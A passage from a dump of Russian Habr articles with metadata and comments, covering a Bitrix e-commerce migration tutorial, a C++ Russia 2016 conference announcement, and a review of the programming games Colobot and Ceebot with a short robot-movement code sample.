src="https://habrastorage.org/r/w780q1/files/cf7/952/706/cf7952706a4c41a0bdb0591d4633ba6b.jpg" data-src="https://habrastorage.org/files/cf7/952/706/cf7952706a4c41a0bdb0591d4633ba6b.jpg" data-blurred="true"/><br/> <br/> <h3>Запуск мастера перехода на новую платформу</h3><br/> После установки обновлений необходимо запустить мастер, который переведет интернет-магазин на новую платформу. Ссылку на запуск мастера вы можете найти в первой же зелёной строке (на предыдущей иллюстрации). <br/> <br/> Чтобы не громоздить тут множество скриншотов, мы записали небольшой ролик, в котором показан процесс миграции магазина на новую платформу:<br/> <br/> <div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/xXLB_-9mwFE?feature=oembed" data-style="" id="" width="560"></div><br/> <br/> Важные моменты, на которые нужно обратить внимание: <br/> <br/> <ul> <li>Перед запуском мастера обязательно создайте полную резервную копию вашего проекта.</li> <li>Попросите разработчиков, ведущих ваш проект, проверить совместимость их доработок с новой платформой и, по возможности, внести корректировки. Новая платформа была доступна более полугода в виде бета-обновлений, и все, кто заинтересован в совместимости, уже выпустили обновления своих решений.</li> <li>В нашем примере во время перехода была проведена конвертация местоположений. Новая версия местоположений вышла уже более полугода назад, поэтому в вашем мастере такого этапа может и не быть. Это означает, что ранее вы уже перешли на новую версию местоположений.</li> <li>По окончании перехода, вы увидите новые формы управления заказами. Это говорит о том, что переход успешно завершён. </li> </ul><br/> <h3>Установка обновлений после перехода на новую платформу</h3><br/> Итак, переход осуществлён, но нужно сделать ещё кое-что. Вернитесь в раздел «Обновления платформы» и установите доступные обновления. <br/> <br/> <img src="https://habrastorage.org/r/w780q1/files/98a/217/45e/98a21745e0e74214b620e4ec6a6d08d6.jpg" data-src="https://habrastorage.org/files/98a/217/45e/98a21745e0e74214b620e4ec6a6d08d6.jpg" data-blurred="true"/><br/> <br/> Проверка проекта после перехода на новую платформу <br/> После установки обновлений для новой платформы проверяем, всё ли работает как нужно: <br/> <br/> <div class="tm-iframe_temp" data-src="https://www.youtube.com/embed/_2DNfiZ708g?feature=oembed" data-style="" id="" width="560"></div><br/> <br/> Как вы могли заметить в ролике, компонент оформления заказа в публичном разделе получил новый дизайн. Это пока бета-версия, о которой мы поговорим в одной из будущих статей. Также вскоре мы рассмотрим нововведения, которые появились в платформе.</div>
Bitrix24 (bitrix24)
null
null
Некоторое время назад вышла новая версия e-commerce-платформы для продуктов «1С-Битрикс: Управление Сайтом» и «1С-Битрикс: Энтерпрайз».<br/> <br/> Мы постарались упростить процесс миграции, но всё же смена платформы — дело ответственное, и некоторые пользователи могут опасаться вносить изменения в свою устоявшуюся, отлаженную систему. Особенно, если сайт достаточно крупный. Поэтому мы решили сделать этот небольшой туториал, в котором как можно нагляднее описали несложный процесс миграции на новую e-commerce-платформу «1С-Битрикс: Управление Сайтом».<br/>
Некоторое время назад вышла новая версия e-commerce-платформы для продуктов «1С-Битрикс: Управление Сайтом» и «1С-Битрикс: Энтерпрайз». Мы постарались упростить процесс миграции, но всё же смена платформы — дело ответственное, и некоторые пользователи могут опасаться вносить изменения в свою устоявшуюся, отлаженную систему. Особенно, если сайт достаточно крупный. Поэтому мы решили сделать этот небольшой туториал, в котором как можно нагляднее описали несложный процесс миграции на новую e-commerce-платформу «1С-Битрикс: Управление Сайтом».
article
1,462,370,082
{ "commentsCount": 9, "favoritesCount": 12, "readingCount": 5332, "score": -7, "votesCount": 13, "votesCountPlus": 3, "votesCountMinus": 10 }
[]
[ "bitrix", "bitrix" ]
[ "develop" ]
[ "Управление Сайтами" ]
2
tutorial
null
{ "id": [ 8880862, 8881046, 8881078, 8881082, 8881106, 8881114, 8881250, 8881404, 8881950 ], "parent_id": [ null, null, 8880862, 8881046, 8881082, null, null, null, null ], "level": [ 0, 0, 1, 1, 2, 0, 0, 0, 0 ], "time_published": [ 1462372581, 1462377288, 1462378541, 1462378659, 1462379606, 1462379736, 1462387093, 1462395203, 1462445948 ], "score": [ 0, 0, 0, 0, 1, 8, 0, 1, 0 ], "votes": [ 0, 0, 0, 0, 1, 10, 0, 1, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Когда уже выкатите выпадающие списки, которые поломали после 14-ой (если не ошибаюсь версии), для SKU?<br/>\r\nВ «Умном фильтре» выпадающие списки появились.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://habrahabr.ru/users/oxidmod/\" class=\"user_link\">oxidmod</a> странная проблема, мы никогда не трогаем публичные страницы. Нужно обращаться в техподдержку, коллеги помогут разобраться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://habrahabr.ru/users/xray/\" class=\"user_link\">xRay</a> не совсем ясна Ваша проблема. Уточните, пожалуйста, номер нерешенного тикета в техподдержку, посмотрим, что у вас случилось.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот как SKU выглядит в демо-магазине 16-ой версии<br/>\r\nhttp://i.imgur.com/QWqtAiQ.png<br/>\r\n<br/>\r\nА вот Умный фильтр в той же 16-ой версии.<br/>\r\nhttp://i.imgur.com/2DquHfn.png</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хорошая попытка, но нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Четыре зеленых уведомления вместо одного мастера который это должен настраивать при установке/апдейте.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Обновить Битрикс?? Вы чё, неее… :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Попробовав раз тошнит и сейчас.<br/>\r\nПростите за такую оценку, надеюсь ситуация поменялась, но когда мне сказали — надо сделать сайт на Битрикс у меня в голове пролетела мысль «Ого! Платный продукт! Это должно быть нечто! Это вам не ваши там опенсорсные — это вам за него денежку платить надо.». Как оказалось на деле — «Гора родила мышь»</div>" ], "message_markdown": [ "UFO just landed and posted this here", "Когда уже выкатите выпадающие списки, которые поломали после 14-ой (если не ошибаюсь версии), для SKU?\nВ «Умном фильтре» выпадающие списки появились.", "oxidmod странная проблема, мы никогда не трогаем публичные страницы. Нужно обращаться в техподдержку, коллеги помогут разобраться.", "xRay не совсем ясна Ваша проблема. Уточните, пожалуйста, номер нерешенного тикета в техподдержку, посмотрим, что у вас случилось.", "Вот как SKU выглядит в демо-магазине 16-ой версии\nhttp://i.imgur.com/QWqtAiQ.png\nА вот Умный фильтр в той же 16-ой версии.\nhttp://i.imgur.com/2DquHfn.png", "Хорошая попытка, но нет.", "Четыре зеленых уведомления вместо одного мастера который это должен настраивать при установке/апдейте.", "Обновить Битрикс?? Вы чё, неее... :)", "Попробовав раз тошнит и сейчас.\nПростите за такую оценку, надеюсь ситуация поменялась, но когда мне сказали — надо сделать сайт на Битрикс у меня в голове пролетела мысль «Ого! Платный продукт! Это должно быть нечто! Это вам не ваши там опенсорсные — это вам за него денежку платить надо.». Как оказалось на деле — «Гора родила мышь»" ], "author": [ "{}", "xRay (xRay)", "Bitrix24 (bitrix24)", "Bitrix24 (bitrix24)", "xRay (xRay)", "ColdPhoenix", "Fedcomp", "Avtandil Kikabidze (L0NGMAN)", "Иванов Сергей (Writerim)" ], "children": [ [ 8881078 ], [ 8881082 ], [], [ 8881106 ], [], [], [], [], [] ] }
268,757
ru
https://habr.com/ru/post/268757/
C++ Russia в Санкт-Петербурге
Всем привет! Мы закончили обрабатывать видео с конференции C++ Siberia 2015 и собрали их в плейлисте на youtube. Также они доступны на странице конференции. А ещё у нас есть замечательные новости про конференцию C++ Russia 2016 в Санкт-Петербурге. Вкратце: все будет очень круто. Итак, конференция пройдёт 26-27 февраля в Санкт-Петербурге (Park Inn by Radisson Прибалтийская). Мы пока собираем программу и все ещё принимаем заявки на доклады. Если у Вас есть о чём рассказать, пишите. Если есть идея, но Вы не уверены, пишите, обсудим. Также мы не оставляем идеи сделать блиц-доклады.Если у Вас есть тема для обсуждения, но Вы не считаете достаточно серьёзной для целого доклада, давайте обсудим её тесной компанией таких же любопытных! Как всегда на мы собираем докладчиков со всего мира. В этот раз в числе прочих у нас выступят: Hartmut Kaiser — контрибьютор boost, один из авторов HPX Kirk Shoop — автор библиотеки RxCPP для реактивного программирования на C++ Joël Falcou — контрибьютор boost, специалист в области метапрограммирования на C++ Мы провели большую работу над ошибками после двух проведенных конференций и сделали для себя определенные выводы. Постараемся учесть все. Мы все ещё не хотим перенасыщать конференцию, поэтому оставим два трека. Конференция остается независимой: мы не занимаемся пиаром, мы делаем такую конференцию, которую сами бы хотели посетить. К сожалению, у этого принципа есть недостаток: мы весь наш бюджет это деньги от продажи билетов и от спонсоров, если такие найдутся. Купить билеты уже можно. Пока это все новости. Мы будем держать Вас в курсе! Увидимся на конференции!
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/files/88f/387/c43/88f387c439924455a90d0ab799755c13.jpg" align="left" width="500" data-src="https://habrastorage.org/files/88f/387/c43/88f387c439924455a90d0ab799755c13.jpg" data-blurred="true"/><br/> Всем привет!<br/> <br/> Мы закончили обрабатывать видео с конференции C++ Siberia 2015 и собрали их в <a href="https://www.youtube.com/playlist?list=PLrs_DcVZNww2B73I8eGcwWPBQ7NDOOAVp">плейлисте</a> на youtube. Также они доступны на странице <a href="http://meetingcpp.ru/?page_id=722">конференции</a>.<br/> <br/> А ещё у нас есть замечательные новости про конференцию <a href="http://meetingcpp.ru/?page_id=936">C++ Russia 2016</a> в Санкт-Петербурге. Вкратце: все будет очень круто. <br/> <br/> <br/> <a name="habracut"></a><br/> <br/> Итак, конференция пройдёт 26-27 февраля в Санкт-Петербурге (Park Inn by Radisson Прибалтийская). Мы пока собираем программу и все ещё принимаем <a href="http://meetingcpp.ru/?page_id=63">заявки</a> на доклады. Если у Вас есть о чём рассказать, пишите. Если есть идея, но Вы не уверены, пишите, обсудим. Также мы не оставляем идеи сделать блиц-доклады.Если у Вас есть тема для обсуждения, но Вы не считаете достаточно серьёзной для целого доклада, давайте обсудим её тесной компанией таких же любопытных!<br/> <br/> Как всегда на мы собираем докладчиков со всего мира. В этот раз в числе прочих у нас выступят:<br/> <ul> <li><i>Hartmut Kaiser</i> — контрибьютор boost, один из авторов HPX</li> <li><i>Kirk Shoop</i> — автор библиотеки RxCPP для реактивного программирования на C++</li> <li><i>Joël Falcou</i> — контрибьютор boost, специалист в области метапрограммирования на C++</li> </ul><br/> <br/> Мы провели большую работу над ошибками после двух проведенных конференций и сделали для себя определенные выводы. Постараемся учесть все. Мы все ещё не хотим перенасыщать конференцию, поэтому оставим два трека. <br/> <br/> Конференция остается независимой: мы не занимаемся пиаром, мы делаем такую конференцию, которую сами бы хотели посетить. К сожалению, у этого принципа есть недостаток: мы весь наш бюджет это деньги от продажи билетов и от спонсоров, если такие найдутся. Купить билеты уже <a href="https://c-user-group-russia.timepad.ru/event/243187/#eventregisterform">можно</a>.<br/> <br/> Пока это все новости. Мы будем держать Вас в курсе!<br/> Увидимся на конференции!</div>
Sergey Platonov (sermp)
null
null
<img src="https://habrastorage.org/files/88f/387/c43/88f387c439924455a90d0ab799755c13.jpg" align="left" width="500"/><br/> Всем привет!<br/> <br/> Мы закончили обрабатывать видео с конференции C++ Siberia 2015 и собрали их в <a href="https://www.youtube.com/playlist?list=PLrs_DcVZNww2B73I8eGcwWPBQ7NDOOAVp">плейлисте</a> на youtube. Также они доступны на странице <a href="http://meetingcpp.ru/?page_id=722">конференции</a>.<br/> <br/> А ещё у нас есть замечательные новости про конференцию <a href="http://meetingcpp.ru/?page_id=936">C++ Russia 2016</a> в Санкт-Петербурге. Вкратце: все будет очень круто. <br/> <br/> <br/>
Всем привет! Мы закончили обрабатывать видео с конференции C++ Siberia 2015 и собрали их в плейлисте на youtube. Также они доступны на странице конференции. А ещё у нас есть замечательные новости про конференцию C++ Russia 2016 в Санкт-Петербурге. Вкратце: все будет очень круто.
article
1,444,771,897
{ "commentsCount": 10, "favoritesCount": 45, "readingCount": 9891, "score": 32, "votesCount": 34, "votesCountPlus": 33, "votesCountMinus": 1 }
[]
[ "cpp_russia", "cpp" ]
[ "develop" ]
[ "C++", "конференция" ]
1
null
null
{ "id": [ 8612841, 8612889, 8613123, 8613133, 8613185, 8613233, 8615941, 8618005, 8618189, 8624383 ], "parent_id": [ null, null, null, 8613123, 8613133, 8613185, 8613123, 8612841, 8618005, 8613185 ], "level": [ 0, 0, 0, 1, 2, 3, 1, 1, 2, 3 ], "time_published": [ 1444806959, 1444809357, 1444816544, 1444816684, 1444817908, 1444818946, 1444985227, 1445171782, 1445183307, 1445549432 ], "score": [ 1, 1, 5, 0, 0, 1, 0, 0, 0, 0 ], "votes": [ 3, 1, 5, 0, 0, 1, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Очень нравится Ваше лого!</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Отличная новость! Прошлая конференция в Москве мне очень понравилась, с нетерпением жду конференцию с Санкт-Петербурге.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Отличная новость, обязательно постараюсь приехать!<br/>\r\n<br/>\r\nИ озвучу это здесь (может он сам откликнется) — очень хочется послушать про GSL (Guidelines Support Library) и кажется что оптимальным было бы пригласить <a href=\"http://careers.stackoverflow.com/cubbi\">Сергея Зубкова</a> который, похоже, принимал участие в его (GSL) разработке. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А может и самого Бьярна уж тогда?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мы звали, но он прохладно отнесся к идее путешествия в Россию. Надо попробовать Герба позвать, давно ему не писал :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, с учетом тог, что сергей Зубков работает с Бьярном в Морган-Стенли, то, думаю, и одного Зубкова будет достаточно. Пока.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, про GSL и lifetime'ы очень бы хотелось послушать</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">только вот при чем Сибирь и Санкт-Петербург</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это лого предыдущей конференции в Новосибирске. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тогда может <a href=\"https://www.linkedin.com/pub/gor-nishanov/13/a21/71a\">Гор Нишанов</a> согласится приехать про корутины рассказать :)</div>" ], "message_markdown": [ "Очень нравится Ваше лого!", "Отличная новость! Прошлая конференция в Москве мне очень понравилась, с нетерпением жду конференцию с Санкт-Петербурге.", "Отличная новость, обязательно постараюсь приехать!\nИ озвучу это здесь (может он сам откликнется) — очень хочется послушать про GSL (Guidelines Support Library) и кажется что оптимальным было бы пригласить Сергея Зубкова который, похоже, принимал участие в его (GSL) разработке.", "А может и самого Бьярна уж тогда?", "Мы звали, но он прохладно отнесся к идее путешествия в Россию. Надо попробовать Герба позвать, давно ему не писал :)", "Ну, с учетом тог, что сергей Зубков работает с Бьярном в Морган-Стенли, то, думаю, и одного Зубкова будет достаточно. Пока.", "Да, про GSL и lifetime'ы очень бы хотелось послушать", "только вот при чем Сибирь и Санкт-Петербург", "Это лого предыдущей конференции в Новосибирске.", "Тогда может Гор Нишанов согласится приехать про корутины рассказать :)" ], "author": [ "oliver_queen", "Виталий (vt4a2h)", "Тимур Сафин (tsafin)", "Тимур Сафин (tsafin)", "Sergey Platonov (sermp)", "Тимур Сафин (tsafin)", "Arkady Shapkin (KindDragon)", "Lev Lybin (lybin)", "Sergey Platonov (sermp)", "Arkady Shapkin (KindDragon)" ], "children": [ [ 8618005 ], [], [ 8613133, 8615941 ], [ 8613185 ], [ 8613233, 8624383 ], [], [], [ 8618189 ], [], [] ] }
59,708
ru
https://habr.com/ru/post/59708/
Colobot и Ceebot
В мире всегда существовали некоторые закрытые общества, которые доступны только ограниченному кругу людей. Для того, чтобы попасть туда нужно было обладать чем-то необычным. Например, ездить на Bentley или курить Behike. Но я сейчас говорю про общества, где входным билетом служат не деньги, а знания. Да, да, Вы не поверите, но я говорю про программистов. Ведь только мы способны сутками заниматься совершенствованием алгоритма, только мы можем бесконечно долго заниматься проектированием и совершенствованием архитектуры проекта, рисуя никому не понятные UML-диаграммы и странные схемы. Но есть еще один вид занятий, некий закрытый клуб для посвященных, который сгубил не одну тысячу часов, подняв профессионализм его участников до небес. Я говорю про Игры для программистов. Их существует огромное количество, каждая игра по своему интересна, у каждой своя архитектура, свой API-интерфейс. Так как всех их невозможно охватить в отдельной заметке — я решил начать серию заметок про различные игры. P.S. Создал открытый блог Игры для программистов. ## Colobot Игра вышла в свет 20 августа 2001, и в ней реализована достаточно качественная по тем временам 3D-графика. Прежде всего игра создавалась для детей. Но как и в случае с детской железной дорогой больше всего в нее играют, конечно, взрослые. Разработчики игры предоставляют нам целый мир, со всеми его врагами, ограниченными ресурсами и, конечно же, возможностями. В качестве основы был выбран уже зарекомендовавший себя в играх-стратегиях механизм ресурсов, которые нужны для строительства зданий, роботов и реализации Ваших зловещих планов. Но ресурсы, конечно же, быстро заканчиваются и их нужно постоянно добывать. ## Язык программирование CBOT Все программирование в игре происходит на неком языке CBOT, сильно похожем на синтаксис не то C++, не то Java. Сам язык достаточно мощный, и позволяет реализовывать почти любые Ваши фантазии. Можно объявлять переменные(пользуясь встроенными типами), использовать циклы for, while и do, создавать не только функции, но и классы и объекты. Вся связь Вашего робота с внешним миром основывается на взаимодействии с другими объектами, которых в игре огромное количество. Также предоставлены уже готовые функции для подсчета расстояний, ближайших объектов, управления двигателем и прочих мелочей, которые позволяет сконцентрироваться на основной идеи. Код пишется непосредственно для каждого бота. Вы даже можете писать несколько различных программ для одного и того же бота, и запускать в нужный момент необходимый для Вас код. Игра содержит достаточно простой дебаггер (отладчик), позволяющий пошагово выполнять Ваш код, и тут же наблюдать результат. Хочется отметить, что для меня редактор кода оказался не самым удобным. И документация, все время сбрасывающаяся в начало, периодически выводила меня из состояния спокойствия. Перед тем как перейти к серьезной игре Вам предложат пройти курс молодого бойца, где предлагают решить простые задачки. Давайте рассмотрим подобную задачку: Вам необходимо написать программу для робота так, чтобы он прошелся по всем синим плюсикам. Расстояние между каждым поворотом равняется 20 метрам. К примеру, функция move(12) вежливо попросит робота проехать 12 метров. А функция turn(90) повернет его на 90 градусов. Наша программа для робота будет выглядеть следующим образом: > ` > > 1. // Это строчка изначально встроена в код разработчиками, и предназначена > 2. // исключительно для создания пафоса и пускания пыли в глаза. > 3. extern void object::Solution( ) > 4. { > 5. move(20); // Переместиться к 1 чекпоинту > 6. turn(90); > 7. 8. move(20); // Переместиться к 2 чекпоинту > 9. turn(-90); > 10. 11. move(20); // Переместиться к 3 чекпоинту > 12. turn(-90); > 13. 14. move(20); // Финишировать! > 15. } > ` Как Вы могли заметить, сзади у машины-робота есть зеленый цилиндр. Это и есть один из наших ресурсов. Во время движения робота энергия постепенно уменьшается и в итоге наш робот может заглохнуть. После чего единственным способом его оживить является замена батареи. ## Локализация Для детей, желающих научиться программированию, английский язык мог бы стать существенной преградой. Благодаря уже несуществующей компании Фаргус существует отличный русский перевод. Перевод, с которым ознакомился я, был выполнен на отлично. Вся документация полностью переведена, никаких замечаний у меня не возникло. ## Юзабилити Юзабилити в игре хромает на обе ноги. Я потратил порядка 40 минут, чтобы понять вообще что к чему. Что такое ресурсы, как их доставать и как из них получать готовых роботов я узнал по чистой случайности. Для новичка большинство моментов покажутся непонятными, хуже того, они могут его заставить навсегда бросить игру. Я так сделал вначале, но потом все же вернулся и попробовал снова. ## Общие впечатления Двигаясь от простых миссий к более сложным, постоянно познавая различные аспекты языка, игрок не только учится программированию, но и познает азы алгоритмизации. Когда простые миссии Вам уже станут скучными — самое время переходить к основной части игры. К примеру, Вам нужно будет выселиться на неизвестной планете, отстроиться там (либо с помощью роботов, либо вручную управляя космонавтом) и выполнить какое-то задание. Например, убить всех муравьев. Хочется отметить, что возможность автоматизации поистине безгранична. Вы можете автоматизировать строительство новых зданий, новых роботов (например, летающих или гусеничных), поиск ископаемых, добычу энергии, подзарядку, охрану Вашей территории и прочие мелкие детали. Разработчики предоставили нам очень удобную абстракцию от лишних деталей, позволяя сфокусировать на достижении конкретной цели. Нельзя не заметить, что в Colobot встроена прекрасная документация, которой позавидуют многие OpenSource проекты. Все расписано просто и без лишних деталей, приведены примеры использования. Вся документация перелинкована, так что перемещаться по ней очень удобно. Но в игре существует досадное ограничение на длину кода — не более 20 000 символов для одной программы. Для чего это сделали разработчики — не понятно. На официальном сайте Вы также сможете найти довольно большой архив уже готовых программ. Используйте уже написанные программы, улучшайте их и присылайте им обратно на сайт. Начните уже наконец хоть как-то вносить свой вклад в великое дело OpenSource! ## Ceebot Нельзя не упомянуть о том, что существует и версия Colobot для учебных заведений. Ceebot достаточно уверенно развивается, и даже обзавелся собственным сайтом http://ceebot.org, где публикуется различный обучающий материал. Версия для учебных заведений содержит гораздо больший функционал, большое количество различных заданий и миссий. Существует даже специальные тетради для школьников. Чего только стоит программирование футбольного матча и гонки роботов! Хотите поучаствовать в схватке с знакомым программистом? Без проблем, для Вас доступен режим Арена! Докажите, что Вы умеете лучше программировать на деле! Также можете ознакомиться с небольшим видео, которое я нашел на youtube.com, иллюстрирующем процесс программирования в Colobot: youtube.com/watch?v=RlyKxjKXQcY На официальном сайте доступна демо-версия игры для скачивания и ознакомления. И не забудьте посоветовать эту игру знакомым мальчикам(девочкам?) — вдруг это будущий гений программирования! Если Вам интересны мои статьи, то существует хак, позволяющий читать их до релиза на хабрахабре: подписаться на мой блог, ну или на твиттер. Удачи!
<div xmlns="http://www.w3.org/1999/xhtml"><img src="http://pic.ipicture.ru/uploads/090512/hw6ef46uq3.png" alt="Геймпад" title="Геймпад" width="128" height="128" align="left" data-src="http://pic.ipicture.ru/uploads/090512/hw6ef46uq3.png"/>В мире всегда существовали некоторые закрытые общества, которые доступны только ограниченному кругу людей. Для того, чтобы попасть туда нужно было обладать чем-то необычным. Например, ездить на <a href="http://www.bentleymotors.com">Bentley</a> или курить <a href="http://www.cigars-review.org/Cohiba-Behike.htm">Behike</a>.<br/> <br/> Но я сейчас говорю про общества, где входным билетом служат не деньги, а знания. Да, да, Вы не поверите, но я говорю про программистов.<br/> <br/> Ведь только мы способны сутками заниматься совершенствованием алгоритма, только мы можем бесконечно долго заниматься проектированием и совершенствованием архитектуры проекта, рисуя никому не понятные UML-диаграммы и странные схемы. Но есть еще один вид занятий, некий закрытый клуб для посвященных, который сгубил не одну тысячу часов, подняв профессионализм его участников до небес. Я говорю про Игры для программистов.<br/> <br/> Их существует огромное количество, каждая игра по своему интересна, у каждой своя архитектура, свой <a href="http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D1%84%D0%B5%D0%B9%D1%81_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9">API-интерфейс</a>. Так как всех их невозможно охватить в отдельной заметке — я решил начать серию заметок про различные игры.<br/> <br/> <b>P.S.</b> Создал открытый блог <a href="http://habrahabr.ru/blogs/programmers_games/">Игры для программистов</a>.<br/> <br/> <a name="habracut"></a><br/> <br/> <h2>Colobot</h2><br/> <div style="text-align:center;"><img title="Логотип Colobot" src="http://pic.ipicture.ru/uploads/090512/n715J4UiH2.jpg" alt="Логотип Colobot" width="363" height="68" data-src="http://pic.ipicture.ru/uploads/090512/n715J4UiH2.jpg" data-blurred="true"/></div><br/> <br/> Игра вышла в свет 20 августа 2001, и в ней реализована достаточно качественная по тем временам 3D-графика. Прежде всего игра создавалась для детей. Но как и в случае с детской железной дорогой больше всего в нее играют, конечно, взрослые.<br/> <br/> Разработчики игры предоставляют нам целый мир, со всеми его врагами, ограниченными ресурсами и, конечно же, возможностями. В качестве основы был выбран уже зарекомендовавший себя в играх-стратегиях механизм ресурсов, которые нужны для строительства зданий, роботов и реализации Ваших зловещих планов. Но ресурсы, конечно же, быстро заканчиваются и их нужно постоянно добывать.<br/> <br/> <h2>Язык программирование CBOT</h2><br/> Все программирование в игре происходит на неком языке CBOT, сильно похожем на синтаксис не то C++, не то Java. Сам язык достаточно мощный, и позволяет реализовывать почти любые Ваши фантазии. <br/> <br/> Можно объявлять переменные(пользуясь встроенными типами), использовать циклы for, while и do, создавать не только функции, но и классы и объекты. <br/> <br/> Вся связь Вашего робота с внешним миром основывается на взаимодействии с другими объектами, которых в игре огромное количество. Также предоставлены уже готовые функции для подсчета расстояний, ближайших объектов, управления двигателем и прочих мелочей, которые позволяет сконцентрироваться на основной идеи.<br/> <br/> Код пишется непосредственно для каждого бота. Вы даже можете писать несколько различных программ для одного и того же бота, и запускать в нужный момент необходимый для Вас код.<br/> <br/> Игра содержит достаточно простой дебаггер (<a href="http://ru.wikipedia.org/wiki/%D0%9E%D1%82%D0%BB%D0%B0%D0%B4%D1%87%D0%B8%D0%BA">отладчик</a>), позволяющий пошагово выполнять Ваш код, и тут же наблюдать результат.<br/> <br/> <p></p><div style="text-align:center;"><img src="http://pic.ipicture.ru/uploads/090512/07cM0k2T8u.jpg" alt="Отладчик" title="Отладчик" width="300" height="152" data-src="http://pic.ipicture.ru/uploads/090512/07cM0k2T8u.jpg" data-blurred="true"/></div><br/> <br/> Хочется отметить, что для меня редактор кода оказался не самым удобным. И документация, все время сбрасывающаяся в начало, периодически выводила меня из состояния спокойствия.<br/> <p></p><div style="text-align:center;"><img title="Colo IDE" src="http://pic.ipicture.ru/uploads/090512/HitY8yO1m4.jpg" alt="Colo IDE" width="70%" height="70%" data-src="http://pic.ipicture.ru/uploads/090512/HitY8yO1m4.jpg" data-blurred="true"/></div><br/> <br/> Перед тем как перейти к серьезной игре Вам предложат пройти курс молодого бойца, где предлагают решить простые задачки. Давайте рассмотрим подобную задачку:<br/> <br/> <p></p><div style="text-align:center;"><img title="Задачка из курса молодого бойца" src="http://pic.ipicture.ru/uploads/090512/aWNFqg4K76.jpg" alt="Задачка из курса молодого бойца" width="604" height="206" data-src="http://pic.ipicture.ru/uploads/090512/aWNFqg4K76.jpg" data-blurred="true"/></div><br/> <br/> Вам необходимо написать программу для робота так, чтобы он прошелся по всем синим плюсикам. Расстояние между каждым поворотом равняется 20 метрам.<br/> <br/> К примеру, функция move(12) вежливо попросит робота проехать 12 метров. А функция turn(90) повернет его на 90 градусов.<br/> <br/> Наша программа для робота будет выглядеть следующим образом:<br/> <br/> <blockquote><code><font color="black"><ol> <li><font color="#008000">// Это строчка изначально встроена в код разработчиками, и предназначена</font></li> <li><font color="#008000">// исключительно для создания пафоса и пускания пыли в глаза.</font></li> <li><font color="#0000ff">extern void object</font>::Solution( )</li> <li>{</li> <li>       move(<font color="#A31515">20</font>); <font color="#008000">// Переместиться к 1 чекпоинту</font></li> <li>       turn(<font color="#A31515">90</font>);</li> <li> </li> <li>       move(<font color="#A31515">20</font>); <font color="#008000">// Переместиться к 2 чекпоинту</font></li> <li>       turn(-<font color="#A31515">90</font>);</li> <li> </li> <li>       move(<font color="#A31515">20</font>); <font color="#008000">// Переместиться к 3 чекпоинту</font></li> <li>       turn(-<font color="#A31515">90</font>);</li> <li> </li> <li>       move(<font color="#A31515">20</font>); <font color="#008000">// Финишировать!</font></li> <li>} </li> </ol></font></code></blockquote><br/> <br/> Как Вы могли заметить, сзади у машины-робота есть зеленый цилиндр. Это и есть один из наших ресурсов. Во время движения робота энергия постепенно уменьшается и в итоге наш робот может заглохнуть. После чего единственным способом его оживить является замена батареи.<br/> <br/> <h2>Локализация</h2><br/> <br/> Для детей, желающих научиться программированию, английский язык мог бы стать существенной преградой.<br/> <br/> Благодаря уже несуществующей компании Фаргус существует отличный русский перевод. Перевод, с которым ознакомился я, был выполнен на отлично. <br/> <br/> Вся документация полностью переведена, никаких замечаний у меня не возникло. <br/> <br/> <p></p><div style="text-align:center;"><img src="http://pic.ipicture.ru/uploads/090512/u55Mbvi6TZ.jpg" alt="Документация" title="Документация" width="70%" height="70%" data-src="http://pic.ipicture.ru/uploads/090512/u55Mbvi6TZ.jpg" data-blurred="true"/></div><br/> <br/> <h2>Юзабилити</h2><br/> Юзабилити в игре хромает на обе ноги. Я потратил порядка 40 минут, чтобы понять вообще что к чему. Что такое ресурсы, как их доставать и как из них получать готовых роботов я узнал по чистой случайности.<br/> <br/> Для новичка большинство моментов покажутся непонятными, хуже того, они могут его заставить навсегда бросить игру. Я так сделал вначале, но потом все же вернулся и попробовал снова.<br/> <br/> <h2>Общие впечатления</h2><br/> <br/> Двигаясь от простых миссий к более сложным, постоянно познавая различные аспекты языка, игрок не только учится программированию, но и познает азы алгоритмизации.<br/> <br/> Когда простые миссии Вам уже станут скучными — самое время переходить к основной части игры. К примеру, Вам нужно будет выселиться на неизвестной планете, отстроиться там (либо с помощью роботов, либо вручную управляя космонавтом) и выполнить какое-то задание. Например, убить всех муравьев.<br/> <br/> Хочется отметить, что возможность автоматизации поистине безгранична. Вы можете автоматизировать строительство новых зданий, новых роботов (например, летающих или гусеничных), поиск ископаемых, добычу энергии, подзарядку, охрану Вашей территории и прочие мелкие детали. Разработчики предоставили нам очень удобную абстракцию от лишних деталей, позволяя сфокусировать на достижении конкретной цели.<br/> <br/> Нельзя не заметить, что в Colobot встроена прекрасная документация, которой позавидуют многие OpenSource проекты. Все расписано просто и без лишних деталей, приведены примеры использования. Вся документация перелинкована, так что перемещаться по ней очень удобно.<br/> <br/> Но в игре существует досадное ограничение на длину кода — не более 20 000 символов для одной программы. Для чего это сделали разработчики — не понятно.<br/> <br/> На <a href="http://www.ceebot.com/colobot/forum-cbot-e.php">официальном сайте</a> Вы также сможете найти 